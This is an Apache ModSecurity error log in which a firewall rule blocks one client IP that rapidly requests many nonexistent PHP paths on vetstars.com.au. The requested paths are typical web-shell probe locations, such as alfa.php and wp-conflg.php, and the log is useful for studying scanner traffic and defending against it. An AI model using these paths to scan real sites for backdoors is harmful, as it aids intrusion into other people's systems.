[Fri Jan 02 07:28:46.950806 2026] [:error] [pid 63099:tid 63142] [client 172.161.146.188:14687] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVcDLsmCZokRPYUhzvg3pwAAAEg"]
[Fri Jan 02 07:28:48.845853 2026] [:error] [pid 63100:tid 63179] [client 172.161.146.188:14708] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVcDMDuUXUKd3KTnKl--KQAAAJI"]
[Fri Jan 02 07:28:49.776767 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:14639] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVcDMcez9k78gUs48kqycgAAABc"]
[Fri Jan 02 07:28:50.907265 2026] [:error] [pid 63208:tid 63219] [client 172.161.146.188:5058] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVcDMnKLI9INGPLzfneuqQAAAMg"]
[Fri Jan 02 07:28:51.813681 2026] [:error] [pid 63100:tid 63176] [client 172.161.146.188:5101] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVcDMzuUXUKd3KTnKl--LQAAAI8"]
[Fri Jan 02 07:28:52.454542 2026] [:error] [pid 63099:tid 63149] [client 172.161.146.188:14635] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVcDNMmCZokRPYUhzvg3rgAAAE8"]
[Fri Jan 02 07:28:53.543642 2026] [:error] [pid 63098:tid 63114] [client 172.161.146.188:14711] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVcDNcez9k78gUs48kqydAAAAAc"]
[Fri Jan 02 07:28:54.068535 2026] [:error] [pid 63208:tid 63220] [client 172.161.146.188:5070] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVcDNnKLI9INGPLzfneurAAAAMk"]
[Fri Jan 02 07:28:54.769691 2026] [:error] [pid 63098:tid 63119] [client 172.161.146.188:5103] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVcDNsez9k78gUs48kqyewAAAAw"]
[Fri Jan 02 07:28:55.347912 2026] [:error] [pid 63099:tid 63136] [client 172.161.146.188:14692] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVcDN8mCZokRPYUhzvg3swAAAEI"]
[Fri Jan 02 07:28:56.091635 2026] [:error] [pid 63098:tid 63122] [client 172.161.146.188:14632] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVcDOMez9k78gUs48kqyfQAAAA8"]
[Fri Jan 02 07:28:56.938509 2026] [:error] [pid 63100:tid 63180] [client 172.161.146.188:14622] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVcDODuUXUKd3KTnKl--OgAAAJM"]
[Fri Jan 02 07:28:58.072738 2026] [:error] [pid 63098:tid 63121] [client 172.161.146.188:14608] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVcDOsez9k78gUs48kqymwAAAA4"]
[Fri Jan 02 07:28:58.786807 2026] [:error] [pid 63099:tid 63149] [client 172.161.146.188:5069] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVcDOsmCZokRPYUhzvg3ugAAAE8"]
[Fri Jan 02 07:28:59.515075 2026] [:error] [pid 63208:tid 63226] [client 172.161.146.188:14598] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVcDO3KLI9INGPLzfneurQAAAM8"]
[Fri Jan 02 07:29:00.004533 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:14668] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVcDPHKLI9INGPLzfneurgAAANI"]
[Fri Jan 02 07:29:00.661394 2026] [:error] [pid 63100:tid 63172] [client 172.161.146.188:14706] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVcDPDuUXUKd3KTnKl--PwAAAIs"]
[Fri Jan 02 07:29:01.689288 2026] [:error] [pid 63099:tid 63151] [client 172.161.146.188:5056] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVcDPcmCZokRPYUhzvg3vAAAAFE"]
[Fri Jan 02 07:29:02.805621 2026] [:error] [pid 63100:tid 63179] [client 172.161.146.188:14689] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVcDPjuUXUKd3KTnKl--QgAAAJI"]
[Fri Jan 02 07:29:03.470768 2026] [:error] [pid 63208:tid 63232] [client 172.161.146.188:14624] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVcDP3KLI9INGPLzfneutAAAANU"]
[Fri Jan 02 07:29:04.319502 2026] [:error] [pid 63208:tid 63220] [client 172.161.146.188:14626] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVcDQHKLI9INGPLzfneuuAAAAMk"]
[Fri Jan 02 07:29:05.211022 2026] [:error] [pid 63100:tid 63176] [client 172.161.146.188:5044] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVcDQTuUXUKd3KTnKl--RgAAAI8"]
[Fri Jan 02 07:29:05.813478 2026] [:error] [pid 63208:tid 63231] [client 172.161.146.188:5084] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVcDQXKLI9INGPLzfneuvAAAANQ"]
[Fri Jan 02 07:29:07.056116 2026] [:error] [pid 63100:tid 63162] [client 172.161.146.188:14631] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVcDQzuUXUKd3KTnKl--RwAAAIE"]
[Fri Jan 02 07:29:07.955219 2026] [:error] [pid 63099:tid 63152] [client 172.161.146.188:5030] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVcDQ8mCZokRPYUhzvg3xQAAAFI"]
[Fri Jan 02 07:29:08.600229 2026] [:error] [pid 63099:tid 63138] [client 172.161.146.188:14620] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVcDRMmCZokRPYUhzvg3yAAAAEQ"]
[Fri Jan 02 07:29:09.155884 2026] [:error] [pid 63100:tid 63161] [client 172.161.146.188:5073] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVcDRTuUXUKd3KTnKl--SgAAAIA"]
[Fri Jan 02 07:29:09.775169 2026] [:error] [pid 63099:tid 63158] [client 172.161.146.188:5085] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVcDRcmCZokRPYUhzvg3ywAAAFg"]
[Fri Jan 02 07:29:10.351995 2026] [:error] [pid 63098:tid 63116] [client 172.161.146.188:5077] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVcDRsez9k78gUs48kqyrwAAAAk"]
[Fri Jan 02 07:29:11.125168 2026] [:error] [pid 63100:tid 63182] [client 172.161.146.188:5089] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVcDRzuUXUKd3KTnKl--TAAAAJU"]
[Fri Jan 02 07:29:12.209401 2026] [:error] [pid 63208:tid 63214] [client 172.161.146.188:14649] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVcDSHKLI9INGPLzfneuzQAAAMM"]
[Fri Jan 02 07:29:12.886256 2026] [:error] [pid 63208:tid 63231] [client 172.161.146.188:5100] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVcDSHKLI9INGPLzfneuzgAAANQ"]
[Fri Jan 02 07:29:13.726459 2026] [:error] [pid 63208:tid 63212] [client 172.161.146.188:5038] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVcDSXKLI9INGPLzfneuzwAAAME"]
[Fri Jan 02 07:29:14.722999 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:14637] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVcDSnKLI9INGPLzfneu0QAAANI"]
[Fri Jan 02 07:29:15.335701 2026] [:error] [pid 63100:tid 63175] [client 172.161.146.188:14653] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVcDSzuUXUKd3KTnKl--UgAAAI4"]
[Fri Jan 02 07:29:15.984282 2026] [:error] [pid 63100:tid 63162] [client 172.161.146.188:14644] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVcDSzuUXUKd3KTnKl--VQAAAIE"]
[Fri Jan 02 07:29:16.548146 2026] [:error] [pid 63098:tid 63123] [client 172.161.146.188:4992] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVcDTMez9k78gUs48kqysgAAABA"]
[Fri Jan 02 07:29:17.236936 2026] [:error] [pid 63099:tid 63154] [client 172.161.146.188:5078] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVcDTcmCZokRPYUhzvg30wAAAFQ"]
[Fri Jan 02 07:29:17.915622 2026] [:error] [pid 63098:tid 63129] [client 172.161.146.188:14678] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVcDTcez9k78gUs48kqytAAAABY"]
[Fri Jan 02 07:29:18.581845 2026] [:error] [pid 63099:tid 63141] [client 172.161.146.188:5106] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVcDTsmCZokRPYUhzvg31gAAAEc"]
[Fri Jan 02 07:29:19.369961 2026] [:error] [pid 63099:tid 63150] [client 172.161.146.188:14647] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVcDT8mCZokRPYUhzvg31wAAAFA"]
[Fri Jan 02 07:29:20.113519 2026] [:error] [pid 63098:tid 63112] [client 172.161.146.188:5072] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVcDUMez9k78gUs48kqyuAAAAAU"]
[Fri Jan 02 07:29:20.690648 2026] [:error] [pid 63208:tid 63228] [client 172.161.146.188:5117] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVcDUHKLI9INGPLzfneu1gAAANE"]
[Fri Jan 02 07:29:21.231754 2026] [:error] [pid 63208:tid 63235] [client 172.161.146.188:5119] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVcDUXKLI9INGPLzfneu2AAAANg"]
[Fri Jan 02 07:29:21.832299 2026] [:error] [pid 63098:tid 63125] [client 172.161.146.188:14705] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVcDUcez9k78gUs48kqyvwAAABI"]
[Fri Jan 02 07:29:22.387939 2026] [:error] [pid 63098:tid 63113] [client 172.161.146.188:14648] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVcDUsez9k78gUs48kqywAAAAAY"]
[Fri Jan 02 07:29:23.084829 2026] [:error] [pid 63100:tid 63176] [client 172.161.146.188:5081] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVcDUzuUXUKd3KTnKl--YgAAAI8"]
[Fri Jan 02 07:29:23.597204 2026] [:error] [pid 63208:tid 63218] [client 172.161.146.188:5104] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVcDU3KLI9INGPLzfneu2gAAAMc"]
[Fri Jan 02 07:29:24.151780 2026] [:error] [pid 63208:tid 63225] [client 172.161.146.188:14627] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVcDVHKLI9INGPLzfneu2wAAAM4"]
[Fri Jan 02 07:29:24.718183 2026] [:error] [pid 63100:tid 63161] [client 172.161.146.188:5094] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVcDVDuUXUKd3KTnKl--aQAAAIA"]
[Fri Jan 02 07:29:25.202400 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:14683] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVcDVcez9k78gUs48kqyxgAAABc"]
[Fri Jan 02 07:29:26.102021 2026] [:error] [pid 63098:tid 63131] [client 172.161.146.188:14662] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVcDVsez9k78gUs48kqyywAAABg"]
[Fri Jan 02 07:29:26.734102 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:14640] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVcDVnKLI9INGPLzfneu3wAAANI"]
[Fri Jan 02 07:29:27.608361 2026] [:error] [pid 63208:tid 63215] [client 172.161.146.188:5020] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVcDV3KLI9INGPLzfneu4gAAAMQ"]
[Fri Jan 02 07:29:28.567669 2026] [:error] [pid 63098:tid 63121] [client 172.161.146.188:5097] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVcDWMez9k78gUs48kqy0QAAAA4"]
[Fri Jan 02 07:29:29.714858 2026] [:error] [pid 63098:tid 63120] [client 172.161.146.188:5090] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVcDWcez9k78gUs48kqy1AAAAA0"]
